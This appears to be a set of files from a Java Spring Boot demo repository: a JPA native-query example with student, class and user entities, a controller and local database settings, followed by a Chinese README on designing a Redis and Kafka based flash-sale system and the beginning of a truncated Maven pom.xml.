    "path": "jun_springboot_plugin/springboot_data_jpa/src/main/java/com/jun/plugin/jpa/dynamicquery/DynamicQueryImpl.java",
    "content": "package com.jun.plugin.jpa.dynamicquery;\n\nimport java.util.List;\n\nimport javax.persistence.EntityManager;\nimport javax.persistence.PersistenceContext;\nimport javax.persistence.Query;\n\nimport org.hibernate.SQLQuery;\nimport org.hibernate.transform.Transformers;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Repository;\n\n/**\n * 动态jpql/nativesql查询的实现类\n * 创建者 张志朋\n * 创建时间\t2018年3月8日\n */\n@Repository\npublic class DynamicQueryImpl implements DynamicQuery {\n\n\tLogger logger = LoggerFactory.getLogger(DynamicQueryImpl.class);\n\n\t@PersistenceContext\n\tprivate EntityManager em;\n\n\tpublic EntityManager getEntityManager() {\n\t\treturn em;\n\t}\n\n\t@Override\n\tpublic void save(Object entity) {\n\t\tem.persist(entity);\n\t}\n\n\t@Override\n\tpublic void update(Object entity) {\n\t\tem.merge(entity);\n\t}\n\n\t@Override\n\tpublic <T> void delete(Class<T> entityClass, Object entityid) {\n\t\tdelete(entityClass, new Object[] { entityid });\n\t}\n\n\t@Override\n\tpublic <T> void delete(Class<T> entityClass, Object[] entityids) {\n\t\tfor (Object id : entityids) {\n\t\t\tem.remove(em.getReference(entityClass, id));\n\t\t}\n\t}\n\tprivate Query createNativeQuery(String sql, Object... params) {\n\t\tQuery q = em.createNativeQuery(sql);\n\t\tif (params != null && params.length > 0) {\n\t\t\tfor (int i = 0; i < params.length; i++) {\n\t\t\t\tq.setParameter(i + 1, params[i]); // 与Hiberante不同,jpa\n\t\t\t\t\t\t\t\t\t\t\t\t\t// query从位置1开始\n\t\t\t}\n\t\t}\n\t\treturn q;\n\t}\n\t@SuppressWarnings(\"unchecked\")\n\t@Override\n\tpublic <T> List<T> nativeQueryList(String nativeSql, Object... params) {\n\t\tQuery q = createNativeQuery(nativeSql, params);\n\t\tq.unwrap(SQLQuery.class).setResultTransformer(Transformers.TO_LIST);\n\t\treturn q.getResultList();\n\t}\n\t\n\t@SuppressWarnings(\"unchecked\")\n\t@Override\n\tpublic <T> List<T> nativeQueryListModel(Class<T> resultClass,\n\t\t\tString nativeSql, Object... params) {\n\t\tQuery q = createNativeQuery(nativeSql, params);;\n\t\tq.unwrap(SQLQuery.class).setResultTransformer(Transformers.aliasToBean(resultClass));\n\t\treturn q.getResultList();\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\t@Override\n\tpublic <T> List<T> nativeQueryListMap(String nativeSql, Object... params) {\n\t\tQuery q = createNativeQuery(nativeSql, params);\n\t\tq.unwrap(SQLQuery.class).setResultTransformer(Transformers.ALIAS_TO_ENTITY_MAP);\n\t\treturn q.getResultList();\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_data_jpa/src/main/java/com/jun/plugin/jpa/dynamicquery/NativeQueryResultEntity.java",
    "content": "package com.jun.plugin.jpa.dynamicquery;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n@Target(ElementType.TYPE)\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface NativeQueryResultEntity {\n\t\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_data_jpa/src/main/java/com/jun/plugin/jpa/entity/Result.java",
    "content": "package com.jun.plugin.jpa.entity;\n\nimport java.util.HashMap;\nimport java.util.Map;\n/**\n * 页面响应entity\n * 创建者 张志朋\n * 创建时间\t2018年3月8日\n */\npublic class Result extends HashMap<String, Object> {\n\n\tprivate static final long serialVersionUID = 1L;\n\n\tpublic Result() {\n\t\tput(\"code\", 0);\n\t}\n\n\tpublic static Result error() {\n\t\treturn error(500, \"未知异常，请联系管理员\");\n\t}\n\n\tpublic static Result error(String msg) {\n\t\treturn error(500, msg);\n\t}\n\n\tpublic static Result error(int code, String msg) {\n\t\tResult r = new Result();\n\t\tr.put(\"code\", code);\n\t\tr.put(\"msg\", msg);\n\t\treturn r;\n\t}\n\n\tpublic static Result ok(Object msg) {\n\t\tResult r = new Result();\n\t\tr.put(\"msg\", msg);\n\t\treturn r;\n\t}\n\n\n\tpublic static Result ok(Map<String, Object> map) {\n\t\tResult r = new Result();\n\t\tr.putAll(map);\n\t\treturn r;\n\t}\n\n\tpublic static Result ok() {\n\t\treturn new Result();\n\t}\n\n\t@Override\n\tpublic Result put(String key, Object value) {\n\t\tsuper.put(key, value);\n\t\treturn this;\n\t}\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_data_jpa/src/main/java/com/jun/plugin/jpa/model/AppClass.java",
    "content": "package com.jun.plugin.jpa.model;\n\nimport javax.persistence.Column;\nimport javax.persistence.Entity;\nimport javax.persistence.GeneratedValue;\nimport javax.persistence.GenerationType;\nimport javax.persistence.Id;\nimport javax.persistence.Table;\n//班级表\n@Entity\n@Table(name = \"app_class\")\npublic class AppClass {\n\t@Id\n\t@GeneratedValue(strategy = GenerationType.AUTO)\n\t@Column(name = \"id\", nullable = false)\n\tprivate Integer id;\n\tprivate String className;\n\tprivate String teacherName;\n\t\n\tpublic AppClass() {\n\t\tsuper();\n\t}\n\tpublic AppClass(Integer id, String className, String teacherName) {\n\t\tsuper();\n\t\tthis.id = id;\n\t\tthis.className = className;\n\t\tthis.teacherName = teacherName;\n\t}\n\tpublic Integer getId() {\n\t\treturn id;\n\t}\n\tpublic void setId(Integer id) {\n\t\tthis.id = id;\n\t}\n\tpublic String getClassName() {\n\t\treturn className;\n\t}\n\tpublic void setClassName(String className) {\n\t\tthis.className = className;\n\t}\n\tpublic String getTeacherName() {\n\t\treturn teacherName;\n\t}\n\tpublic void setTeacherName(String teacherName) {\n\t\tthis.teacherName = teacherName;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_data_jpa/src/main/java/com/jun/plugin/jpa/model/AppStudent.java",
    "content": "package com.jun.plugin.jpa.model;\nimport javax.persistence.Column;\nimport javax.persistence.Entity;\nimport javax.persistence.GeneratedValue;\nimport javax.persistence.GenerationType;\nimport javax.persistence.Id;\nimport javax.persistence.Table;\n//学生表\n@Entity\n@Table(name = \"app_student\")\npublic class AppStudent {\n\t@Id\n\t@GeneratedValue(strategy = GenerationType.AUTO)\n\t@Column(name = \"id\", nullable = false)\n\tprivate Integer id;\n\tprivate Integer classId;\n\tprivate String name;\n\tprivate Integer age;\n\t\n\tpublic AppStudent() {\n\t\tsuper();\n\t}\n\tpublic AppStudent(Integer id, Integer classId, String name, Integer age) {\n\t\tsuper();\n\t\tthis.id = id;\n\t\tthis.classId = classId;\n\t\tthis.name = name;\n\t\tthis.age = age;\n\t}\n\tpublic Integer getId() {\n\t\treturn id;\n\t}\n\tpublic void setId(Integer id) {\n\t\tthis.id = id;\n\t}\n\tpublic Integer getClassId() {\n\t\treturn classId;\n\t}\n\tpublic void setClassId(Integer classId) {\n\t\tthis.classId = classId;\n\t}\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\tpublic Integer getAge() {\n\t\treturn age;\n\t}\n\tpublic void setAge(Integer age) {\n\t\tthis.age = age;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_data_jpa/src/main/java/com/jun/plugin/jpa/model/Student.java",
    "content": "package com.jun.plugin.jpa.model;\n//学生(组合表)\npublic class Student {\n\tprivate Integer studentId;\n\tprivate Integer classId;\n\tprivate String className;\n\tprivate String teacherName;\n\tprivate String name;\n\tprivate Integer age;\n\t\n\tpublic Student() {\n\t\tsuper();\n\t}\n\n\tpublic Student(Integer studentId, Integer classId, String className,\n\t\t\tString teacherName, String name, Integer age) {\n\t\tsuper();\n\t\tthis.studentId = studentId;\n\t\tthis.classId = classId;\n\t\tthis.className = className;\n\t\tthis.teacherName = teacherName;\n\t\tthis.name = name;\n\t\tthis.age = age;\n\t}\n\n\tpublic Integer getStudentId() {\n\t\treturn studentId;\n\t}\n\n\tpublic void setStudentId(Integer studentId) {\n\t\tthis.studentId = studentId;\n\t}\n\n\tpublic Integer getClassId() {\n\t\treturn classId;\n\t}\n\n\tpublic void setClassId(Integer classId) {\n\t\tthis.classId = classId;\n\t}\n\n\tpublic String getClassName() {\n\t\treturn className;\n\t}\n\n\tpublic void setClassName(String className) {\n\t\tthis.className = className;\n\t}\n\n\tpublic String getTeacherName() {\n\t\treturn teacherName;\n\t}\n\n\tpublic void setTeacherName(String teacherName) {\n\t\tthis.teacherName = teacherName;\n\t}\n\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\n\tpublic Integer getAge() {\n\t\treturn age;\n\t}\n\n\tpublic void setAge(Integer age) {\n\t\tthis.age = age;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_data_jpa/src/main/java/com/jun/plugin/jpa/model/User.java",
    "content": "package com.jun.plugin.jpa.model;\n\nimport java.io.Serializable;\n\nimport javax.persistence.Column;\nimport javax.persistence.Entity;\nimport javax.persistence.GeneratedValue;\nimport javax.persistence.GenerationType;\nimport javax.persistence.Id;\nimport javax.persistence.Table;\n/**\n * 用户实体(此处注意引用的注解包为javax.persistence*下面的)\n * 创建者 科帮网\n * 创建时间\t2017年7月25日\n *\n */\n@Entity\n@Table(name = \"sys_user\")\npublic class User implements Serializable{\n\tprivate static final long serialVersionUID = 1L;\n\t@Id\n\t@GeneratedValue(strategy = GenerationType.AUTO)\n\t@Column(name = \"id\", nullable = false)\n\tprivate Long id;\n\t@Column(nullable = false, name = \"name\")\n\tprivate String name;\n\t@Column(nullable = false, name = \"age\")\n\tprivate Integer age;\n\n\tpublic User() {\n\t}\n\n\tpublic User(String name, Integer age) {\n\t\tthis.name = name;\n\t\tthis.age = age;\n\t}\n\n\tpublic Long getId() {\n\t\treturn id;\n\t}\n\n\tpublic void setId(Long id) {\n\t\tthis.id = id;\n\t}\n\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\n\tpublic Integer getAge() {\n\t\treturn age;\n\t}\n\n\tpublic void setAge(Integer age) {\n\t\tthis.age = age;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_data_jpa/src/main/java/com/jun/plugin/jpa/repository/UserRepository.java",
    "content": "package com.jun.plugin.jpa.repository;\n\nimport java.util.List;\n\nimport org.springframework.data.jpa.repository.JpaRepository;\nimport org.springframework.data.jpa.repository.Query;\nimport org.springframework.data.repository.query.Param;\n\nimport com.jun.plugin.jpa.model.User;\n/**\n * 数据操作层\n * 创建者 科帮网\n * 创建时间\t2017年7月25日\n *\n */\npublic interface UserRepository extends JpaRepository<User, Long> {\n\n\tUser findByName(String name);\n\t\n\tUser findByAge(Integer age);\n\n\tUser findByNameAndAge(String name, Integer age);\n\t\n\tList<User> findByNameLike(String name);\n\n\t@Query(\"from User u where u.name=:name\")\n\tUser findUser(@Param(\"name\") String name);\n\t\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_data_jpa/src/main/java/com/jun/plugin/jpa/service/IStudentService.java",
    "content": "package com.jun.plugin.jpa.service;\n\nimport java.util.List;\nimport java.util.Map;\n\nimport com.jun.plugin.jpa.model.Student;\npublic interface IStudentService {\n\t /**\n\t  * 返回List<Object[]>\n\t  * @author Wujun\n\t  * @return  List<Object[]>\n\t  * @Date\t2018年3月28日\n\t  * 更新日志\n\t  * 2018年3月28日  科帮网 首次创建\n\t  *\n\t  */\n\t List<Object[]> listStudent();\n\t /**\n\t  * 返回List<Student>\n\t  * @author Wujun\n\t  * @return  List<Student>\n\t  * @Date\t2018年3月28日\n\t  * 更新日志\n\t  * 2018年3月28日  科帮网 首次创建\n\t  *\n\t  */\n     List<Student> listStudentModel();\n     /**\n      * List<Map<Object, Object>>\n      * @author Wujun\n      * @return  List<Map<Object,Object>>\n      * @Date\t2018年3月28日\n      * 更新日志\n      * 2018年3月28日  科帮网 首次创建\n      *\n      */\n     List<Map<Object, Object>> listStudentMap();\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_data_jpa/src/main/java/com/jun/plugin/jpa/service/impl/StudentServiceImpl.java",
    "content": "package com.jun.plugin.jpa.service.impl;\n\nimport java.util.List;\nimport java.util.Map;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\nimport com.jun.plugin.jpa.dynamicquery.DynamicQuery;\nimport com.jun.plugin.jpa.model.Student;\nimport com.jun.plugin.jpa.service.IStudentService;\n\n@Service\npublic class StudentServiceImpl implements IStudentService {\n\n\t@Autowired\n\tprivate DynamicQuery dynamicQuery;\n\t\n\t\n\t@Override\n\tpublic List<Object[]> listStudent() {\n\t\tString nativeSql = \"SELECT s.id AS studentId,c.id AS classId,c.class_name AS className,c.teacher_name AS teacherName,s.name,s.age FROM app_student s,app_class c\";\n\t\tList<Object[]> list = dynamicQuery.nativeQueryList(nativeSql, new Object[]{});\n\t\treturn list;\n\t}\n\t\n\t@Override\n\tpublic List<Student> listStudentModel() {\n\t\tString nativeSql = \"SELECT s.id AS studentId,c.id AS classId,c.class_name AS className,c.teacher_name AS teacherName,s.name,s.age FROM app_student s,app_class c\";\n\t\tList<Student> list = dynamicQuery.nativeQueryListModel(Student.class, nativeSql, new Object[]{});\n\t\treturn list;\n\t}\n\n\t@Override\n\tpublic List<Map<Object,Object>> listStudentMap() {\n\t\tString nativeSql = \"SELECT s.id AS studentId,c.id AS classId,c.class_name AS className,c.teacher_name AS teacherName,s.name,s.age FROM app_student s,app_class c\";\n\t\tList<Map<Object,Object>> list = dynamicQuery.nativeQueryListMap(nativeSql, new Object[]{});\n\t\treturn list;\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_data_jpa/src/main/java/com/jun/plugin/jpa/web/StudentController.java",
    "content": "package com.jun.plugin.jpa.web;\n\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\n\nimport java.util.List;\nimport java.util.Map;\n\nimport javax.servlet.http.HttpServletRequest;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport com.jun.plugin.jpa.entity.Result;\nimport com.jun.plugin.jpa.model.Student;\nimport com.jun.plugin.jpa.service.IStudentService;\n\n@Api(tags =\"测试接口\")\n@RestController\n@RequestMapping(\"/test\")\npublic class StudentController {\n\tprivate final static Logger LOGGER = LoggerFactory.getLogger(StudentController.class);\n\t\n\t@Autowired\n\tprivate IStudentService studentService;\n\t\n\t@ApiOperation(value=\"学生List\")\n\t@PostMapping(\"/list\")\n\tpublic Result list(HttpServletRequest request){\n\t\tLOGGER.info(\"学生List\");\n\t\tList<Object[]> list = studentService.listStudent();\n\t\treturn Result.ok(list);\n\t}\n\t@ApiOperation(value=\"学生Map\")\n\t@PostMapping(\"/listMap\")\n\tpublic Result listMap(HttpServletRequest request){\n\t\tLOGGER.info(\"学生Map\");\n\t\tList<Map<Object, Object>> list = studentService.listStudentMap();\n\t\treturn Result.ok(list);\n\t}\n\t@ApiOperation(value=\"学生Model\")\n\t@PostMapping(\"/listModel\")\n\tpublic Result listModel(HttpServletRequest request){\n\t\tLOGGER.info(\"学生Model\");\n\t\tList<Student> list = studentService.listStudentModel();\n\t\treturn Result.ok(list);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_data_jpa/src/main/resources/application.properties",
    "content": "# \\u9879\\u76eecontextPath \\u79d1\\u5e2e\\u7f51https://blog.52itstyle.com\nserver.context-path=/jpa\n# \\u670d\\u52a1\\u7aef\\u53e3\nserver.port=8080\n# session\\u6700\\u5927\\u8d85\\u65f6\\u65f6\\u95f4(\\u5206\\u949f)\\uff0c\\u9ed8\\u8ba4\\u4e3a30\nserver.session-timeout=60\n# \\u8be5\\u670d\\u52a1\\u7ed1\\u5b9aIP\\u5730\\u5740\\uff0c\\u542f\\u52a8\\u670d\\u52a1\\u5668\\u65f6\\u5982\\u672c\\u673a\\u4e0d\\u662f\\u8be5IP\\u5730\\u5740\\u5219\\u629b\\u51fa\\u5f02\\u5e38\\u542f\\u52a8\\u5931\\u8d25\\uff0c\\u53ea\\u6709\\u7279\\u6b8a\\u9700\\u6c42\\u7684\\u60c5\\u51b5\\u4e0b\\u624d\\u914d\\u7f6e\n#server.address=192.168.1.66\n\n# tomcat\\u6700\\u5927\\u7ebf\\u7a0b\\u6570\\uff0c\\u9ed8\\u8ba4\\u4e3a200\nserver.tomcat.max-threads=100\n# tomcat\\u7684URI\\u7f16\\u7801\nserver.tomcat.uri-encoding=UTF-8\n\n# \\u9759\\u6001\\u6587\\u4ef6\\u8bf7\\u6c42\\u5339\\u914d\\u65b9\\u5f0f\nspring.mvc.static-path-pattern=/**\n\n#\\u6ce8\\u610f\\u4e2d\\u6587\\u4e71\\u7801\nspring.datasource.url=jdbc:mysql://localhost:3306/test666?characterEncoding=utf-8&useSSL=false\nspring.datasource.username=root\nspring.datasource.password=\nspring.datasource.driver-class-name=com.mysql.jdbc.Driver\n# Specify the DBMS\nspring.jpa.database = MYSQL\n# Show or not log for each sql query\nspring.jpa.show-sql = true\n# DDL mode. This is actually a shortcut for the \"hibernate.hbm2ddl.auto\" property. Default to \"create-drop\" when using an embedded database, \"none\" otherwise.\nspring.jpa.hibernate.ddl-auto = update\n# Hibernate 4 naming strategy fully qualified name. Not supported with Hibernate 5.\nspring.jpa.hibernate.naming.strategy = org.hibernate.cfg.ImprovedNamingStrategy\n# stripped before adding them to the entity manager)\nspring.jpa.properties.hibernate.dialect = org.hibernate.dialect.MySQL5Dialect"
  },
  {
    "path": "jun_springboot_plugin/springboot_data_jpa/src/main/webapp/WEB-INF/web.xml",
    "content": "<!DOCTYPE web-app PUBLIC\n \"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN\"\n \"http://java.sun.com/dtd/web-app_2_3.dtd\" >\n\n<web-app>\n  <display-name>Archetype Created Web Application</display-name>\n</web-app>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_data_jpa/src/main/webapp/index.jsp",
    "content": "<html>\n<body>\n<h2>Hello World!</h2>\n</body>\n</html>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_data_jpa/src/test/java/com/jun/plugin/jpa/ApplicationTest.java",
    "content": "package com.jun.plugin.jpa;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\nimport com.jun.plugin.jpa.model.User;\nimport com.jun.plugin.jpa.repository.UserRepository;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class ApplicationTest {\n\t@Autowired\n\tprivate UserRepository userRepository;\n\t@Test\n\tpublic void test() throws Exception {\n\t\tUser user = new User();\n\t\tuser.setName(\"张三\");\n\t\tuser.setAge(20);\n\t\tuserRepository.save(user);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_data_jpa/src/test/java/com/jun/plugin/jpa/SpringbootJpaApplication.java",
    "content": "package com.jun.plugin.jpa;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.CommandLineRunner;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\nimport com.jun.plugin.jpa.model.User;\nimport com.jun.plugin.jpa.repository.UserRepository;\n\n@SpringBootApplication\npublic class SpringbootJpaApplication implements CommandLineRunner {\n\n\t@Autowired\n\tprivate UserRepository userRepository;\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(SpringbootJpaApplication.class, args);\n\t}\n\n\t@Override\n\tpublic void run(String... args) throws Exception {\n\t\ttry {\n\t\t\tUser user = new User();\n\t\t\tuser.setName(\"张三\");\n\t\t\tuser.setAge(20);\n\t\t\tuserRepository.save(user);\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/README.md",
    "content": "分析，在做秒杀系统的设计之初，一直在思考如何去设计这个秒杀系统，使之在现有的技术基础和认知范围内，能够做到最好；同时也能充分的利用公司现有的中间件来完成系统的实现。\n\n我们都知道，正常去实现一个WEB端的秒杀系统，前端的处理和后端的处理一样重要；前端一般会做CDN，后端一般会做分布式部署，限流，性能优化等等一系列的操作，并完成一些网络的优化，比如IDC多线路（电信、联通、移动）的接入，带宽的升级等等。而由于目前系统前端是基于微信小程序，所以关于前端部分的优化就尽可能都是在代码中完成，CDN这一步就可以免了；\n\n## 关于秒杀的更多思考，在原有的秒杀架构的基础上新增了新的实现方案\n#### 原有方案：\n    通过分布式锁的方式控制最终库存不超卖，并控制最终能够进入到下单环节的订单，入到队列中慢慢去消费下单\n#### 新增方案“\n    请求进来之后，通过活动开始判断和重复秒杀判断之后，即进入到消息队列，然后在消息的消费端去做库存判断等操作，通过消息队列达到削峰的操作\n    \n  其实，我觉得两种方案都是可以的，只是具体用在什么样的场景；原有方案更适合流量相对较小的平台，而且整个流程也会更加简单；而新增方案则是许多超大型平台采用的方案，通过消息队列达到削峰的目的；而这两种方案都加了真实能进入的请求限制，通过redis的原子自增来记录请求数，当请求量达到库存的n倍时，后面再进入的请求，则直接返回活动太火爆的提示；\n\n1、架构介绍\n后端项目是基于SpringCloud+SpringBoot搭建的微服务框架架构\n\n前端在微信小程序商城上\n\n### 核心支撑组件\n- 服务网关 Zuul\n- 服务注册发现 Eureka+Ribbon\n- 认证授权中心 Spring Security OAuth2、JWTToken\n- 服务框架 Spring MVC/Boot\n- 服务容错 Hystrix\n- 分布式锁 Redis\n- 服务调用 Feign\n- 消息队列 Kafka\n- 文件服务 私有云盘\n- 富文本组件 UEditor\n- 定时任务 xxl-job\n- 配置中心 apollo\n\n2、关于秒杀的场景特点分析\n#### 秒杀系统的场景特点\n- 秒杀时大量用户会在同一时间同时进行抢购，网站瞬时访问流量激增；\n- 秒杀一般是访问请求量远远大于库存数量，只有少部分用户能够秒杀成功；\n- 秒杀业务流程比较简单，一般就是下订单操作；\n\n \n\n#### 秒杀架构设计理念\n- 限流：鉴于只有少部分用户能够秒杀成功，所以要限制大部分流量，只允许少部分流量进入服务后端（暂未处理）；\n- 削峰：对于秒杀系统瞬时的大量用户涌入，所以在抢购开始会有很高的瞬时峰值。实现削峰的常用方法有利用缓存或者消息中间件等技术；\n- 异步处理：对于高并发系统，采用异步处理模式可以极大地提高系统并发量，异步处理就是削峰的一种实现方式；\n- 内存缓存：秒杀系统最大的瓶颈最终都可能会是数据库的读写，主要体现在的磁盘的I/O，性能会很低，如果能把大部分的业务逻辑都搬到缓存来处理，效率会有极大的提升；\n- 可拓展：如果需要支持更多的用户或者更大的并发，将系统设计为弹性可拓展的，如果流量来了，拓展机器就好；\n![](https://images.gitbook.cn/000e5870-f837-11e8-93b4-2733009a7ae5)\n![](https://images.gitbook.cn/086b0040-f837-11e8-93b4-2733009a7ae5)\n \n\n#### 秒杀设计思路\n- 由于前端是属于小程序端，所以不存在前端部分的访问压力，所以前端的访问压力就无从谈起；\n- 1、秒杀相关的活动页面相关的接口，所有查询能加缓存的，全部添加redis的缓存；\n- 2、活动相关真实库存、锁定库存、限购、下单处理状态等全放redis；\n- 3、当有请求进来时，首先通过redis原子自增的方式记录当前请求数，当请求超过一定量，比如说库存的10倍之后，后面进入的请求则直接返回活动太火爆的响应；而能进入抢购的请求，则首先进入活动ID为粒度的分布式锁，第一步进行用户购买的重复性校验，满足条件进入下一步，否则返回已下单的提示；\n- 4、第二步，判断当前可锁定的库存是否大于购买的数量，满足条件进入下一步，否则返回已售罄的提示；\n- 5、第三步，锁定当前请求的购买库存，从锁定库存中减除，并将下单的请求放入kafka消息队列；\n- 6、第四步，在redis中标记一个polling的key（用于轮询的请求接口判断用户是否下订单成功），在kafka消费端消费完成创建订单之后需要删除该key，并且维护一个活动id+用户id的key，防止重复购买；\n- 7、第五步，消息队列消费，创建订单，创建订单成功则扣减redis中的真实库存，并且删除polling的key。如果下单过程出现异常，则删除限购的key，返还锁定库存，提示用户下单失败；\n- 8、第六步，提供一个轮询接口，给前端在完成抢购动作后，检查最终下订单操作是否成功，主要判断依据是redis中的polling的key的状态；\n- 9、整个流程会将所有到后端的请求拦截的在redis的缓存层面，除了最终能下订单的库存限制订单会与数据库存在交互外，基本上无其他的交互，将数据库I/O压力降到了最低；\n\n \n\n#### 关于限流\n\nSpringCloud zuul的层面有很好的限流策略，可以防止同一用户的恶意请求行为\n```\n 1 zuul:\n 2     ratelimit:\n 3         key-prefix: your-prefix  #对应用来标识请求的key的前缀\n 4         enabled: true\n 5         repository: REDIS  #对应存储类型（用来存储统计信息）\n 6         behind-proxy: true  #代理之后\n 7         default-policy: #可选 - 针对所有的路由配置的策略，除非特别配置了policies\n 8              limit: 10 #可选 - 每个刷新时间窗口对应的请求数量限制\n 9              quota: 1000 #可选-  每个刷新时间窗口对应的请求时间限制（秒）\n10               refresh-interval: 60 # 刷新时间窗口的时间，默认值 (秒)\n11                type: #可选 限流方式\n12                     - user\n13                     - origin\n14                     - url\n15           policies:\n16                 myServiceId: #特定的路由\n17                       limit: 10 #可选- 每个刷新时间窗口对应的请求数量限制\n18                       quota: 1000 #可选-  每个刷新时间窗口对应的请求时间限制（秒）\n19                       refresh-interval: 60 # 刷新时间窗口的时间，默认值 (秒)\n20                       type: #可选 限流方式\n21                           - user\n22                           - origin\n23                           - url\n```\n\n#### 关于负载与分流\n\n当一个活动的访问量级特别大的时候，可能从域名分发进来的nginx就算是做了高可用，但实际上最终还是单机在线，始终敌不过超大流量的压力时，我们可以考虑域名的多IP映射。也就是说同一个域名下面映射多个外网的IP，再映射到DMZ的多组高可用的nginx服务上，nginx再配置可用的应用服务集群来减缓压力；\n\n这里也顺带介绍redis可以采用redis cluster的分布式实现方案，同时springcloud hystrix 也能有服务容错的效果；\n\n而关于nginx、springboot的tomcat、zuul等一系列参数优化操作对于性能的访问提升也是至关重要；\n\n补充说明一点，即使前端是基于小程序实现，但是活动相关的图片资源都放在自己的云盘服务上，所以活动前活动相关的图片资源上传CDN也是至关重要，否则哪怕是你IDC有1G的流量带宽，也会分分钟被吃完；\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t\n\t  <groupId>io.github.wujun728</groupId>\n\t  <artifactId>springboot_distributed_seckill</artifactId>\n\t  <version>1.0</version>\n  \n\t<parent>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-parent</artifactId>\n\t\t<version>1.5.6.RELEASE</version>\n\t\t<relativePath />\n\t</parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>fastjson</artifactId>\n\t\t\t<version>1.2.28</version>\n\t\t</dependency>\n\n\t\t<!-- 构建Restful API -->\n\t\t<dependency>\n\t\t\t<groupId>io.springfox</groupId>\n\t\t\t<artifactId>springfox-swagger2</artifactId>\n\t\t\t<version>2.7.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>io.springfox</groupId>\n\t\t\t<artifactId>springfox-swagger-ui</artifactId>\n\t\t\t<version>2.7.0</version>\n\t\t</dependency>\n\n\t\t<!--kafka 支持 -->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.kafka</groupId>\n\t\t\t<artifactId>spring-kafka</artifactId>\n\t\t\t<version>1.3.5.RELEASE</version><!--$NO-MVN-MAN-VER$ -->\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet</groupId>\n\t\t\t<artifactId>javax.servlet-api</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<artifactId>velocity</artifactId>\n\t\t\t<groupId>org.apache.velocity</groupId>\n\t\t\t<version>1.7</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>commons-fileupload</groupId>\n\t\t\t<artifactId>commons-fileupload</artifactId>\n\t\t\t<version>1.3.1</version>\n\t\t\t<exclusions>\n\t\t\t\t<exclusion>\n\t\t\t\t\t<artifactId>commons-io</artifactId>\n\t\t\t\t\t<groupId>commons-io</groupId>\n\t\t\t\t</exclusion>\n\t\t\t</exclusions>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.session</groupId>\n\t\t\t<artifactId>spring-session-data-redis</artifactId>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-data-redis</artifactId>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-jdbc</artifactId>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>druid</artifactId>\n\t\t\